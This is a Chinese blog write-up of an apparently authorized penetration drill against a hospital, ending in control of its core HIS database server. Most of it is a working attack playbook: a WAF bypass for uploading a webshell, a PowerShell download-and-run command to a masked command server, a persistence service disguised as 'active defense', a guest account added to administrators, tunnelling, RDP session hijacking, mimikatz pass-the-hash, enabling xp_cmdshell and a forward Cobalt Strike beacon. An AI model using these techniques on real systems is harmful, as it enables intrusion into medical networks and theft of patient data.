记一次实战攻防渗透

前言

记录之前参加演练的一次实战过程。

演练目标

拿下某医院核心his权限

web打点

拿到目标,通过信息收集尽可能多的寻找目标资产,最终发现了存在漏洞的某系统,通过该系统进入内网。

用户枚举漏洞

登录处存在用户枚举漏洞


返回包可以看到该帐号的功能,所属的科室等信息。


弱口令漏洞

通过对枚举得到的用户进行弱口令爆破,成功登陆了某医生的账户。



该账户只有一个体检预约管理的功能,经过测试无法直接getshell。

越权漏洞

观察当前url地址,发现存在usersysid和deptid两个参数,usersysid为当前用户名,deptid恰好可以通过用户枚举得到,因此可能存在越权漏洞。



经过测试发现可以通过修改参数进行越权,大部分为普通用户,经过反复尝试发现269用户权限比较高,尝试替换usersysid和deptid进行越权。



成功访问到该帐号的功能模块。

文件上传漏洞

对高权限用户的功能模块进行测试,发现上传点。



网站存在某种waf,常规webshell无法直接上传,尝试进行bypass。

最终绕过waf成功上传webshell,对数据包进行了4次处理。
1、"boundary="后面加tab键
2、使用asHX后缀
3、删除"Content-type:"后面的类型信息
4、正常图片文件的内容开头



成功得到目标webshell,web打点结束。


内网横向

上线cs

目前只有一个webshell命令执行权限,为了后续横向,尝试利用cs进行多人运动~
首先查看目标主机是否出网,和安装的杀软情况。
通过ping命令确定目标出网。


通过tasklist命令查看是否运行杀软
https://maikefee.com/av_list
未发现存在杀软

系统版本为server2012,尝试直接运行powershell命令上线cs。

powershell.exe IEX ((new-object net.webclient).downloadstring('http:x.x.x.x:xx/x'))

cs成功上线,当前为iis权限,直接使用梼杌的提权插件。选择使用烂土豆提权server2012
https://github.com/pandasec888/taowu-cobalt-strike

成功提升至system权限。


权限维持

目前已经得到了system权限,为了防止webshell被删,服务器重启,web服务关闭等问题,需要做一下权限维持。
https://www.jianshu.com/p/f3f3d4d34701
我常用的把powershell上线cs的命令注册成服务,每次开机执行。(容易被发现,追求隐蔽性不推荐该方法)

创建一个名为主动防御的服务。
sc create "主动防御" binpath= "cmd /c start powershell.exe IEX (new-object net.webclient).downloadstring('http://x.x.x.x/a')"
设置为自动运行
sc config "主动防御" start= auto
演练结束删除服务。
sc delete "主动防御"

激活guest用户

net user guest   /active:yes
net user guest   Qax@123
net localgroup   administrators  guest   /add

搭建隧道

可以选择 nps和frp
我使用是nps代理
优点: 稳定,速度快,管理方便
缺点:扫描内网主机端口全部开放(不知道是不是我nps版本的问题)
创建客户端



上传服务端到目标服务器执行

npc.exe -server=x.x.x.x:xxx -vkey=xxxxxx -type=tcp

使用Proxifier代入内网。


RDP登陆

有时候我们需要登陆管理员用户方便进行信息收集。
目标为server2012 mimikatz默认无法读取明文密码,因此在ntml hash解不开的情况下,我们可以尝试2种方法进行登陆。
1、RDP劫持
登陆激活的guest用户,执行命令,劫持administrator

query user 
sc create tide binpath= "cmd.exe /k tscon 1 /dest:rdp-tcp#4"      #1为目标会话id和当前会话名 
net start tide

2、pth登录远程rdp
对于server 2012系统,直接使用mimikatz传递ntlm hash值登录

privilege::debug
sekurlsa::pth /user:administrator /domain:127.0.0.1 /ntlm:32ed87bdb5fdc5e9cba88547376818d4 "/run:mstsc.exe /restrictedadmin"

win10系统报错



需要修改注册表

REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f

重新登录

privilege::debug
sekurlsa::pth /user:administrator /domain:127.0.0.1 /ntlm:32ed87bdb5fdc5e9cba88547376818d4 "/run:mstsc.exe /restrictedadmin"

!!!登陆前使用命令查看管理员是否在线。

query user

这里选择使用RDP劫持的方式登陆了administrator用户。


内网信息收集

具体信息收集的过程不再描述,通过内网信息收集,发现了数据库连接配置文件,包含his,lis等核心数据库。



解密his数据库连接信息,发现目标为sql server数据库。



数据库服务器和当前跳板机为2个不同b段。

获取核心his权限

利用得到的账户密码直接登陆his数据库。
尝试使用xp_cmdshell执行系统命令。

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
exec master..xp_cmdshell "whoami"

成功拿到his数据库服务器权限。



目标不出网,且无法ping通跳板机。



证实了该服务器为his服务器,且该网段为核心内网。至此达到演练目标。

扩展

目前只能通过数据库来执行系统命令,尝试上线到cs上。
该his服务器不通外网,且不通跳板机所在的网段。
反向连接失效,尝试使用正向连接,上线目标服务器到cs。


cs新建一个监听器,选择beacon-tcp,执行后本地开放一个端口



生成一个无状态的可执行木马文件,选择对应的监听器。



上传木马文件到目标主机~
这里遇到了困难,目标不出网,且不通当前跳板机,只有cmd命令行的情况下,无法直接上传。
解决方法:目标开放了iis服务,向iis服务网站目录下 echo一个apsx一句话木马,然后通过webshell上传可执行exe文件。

利用SQL TOOLS可以直观的寻找目标网站目标,然后echo写入木马。




使用webshell上传exe并且执行。
执行后会本地开放一个8877端口。
在跳板机的cs会话中执行:
connect x.x.x.x 8877

去正向连接目标开放的8877端口。



成功通过多层内网上线了目标主机。


总结

不算复杂的一次内网实战过程,知识又增加了。

你可能感兴趣的:(记一次实战攻防渗透)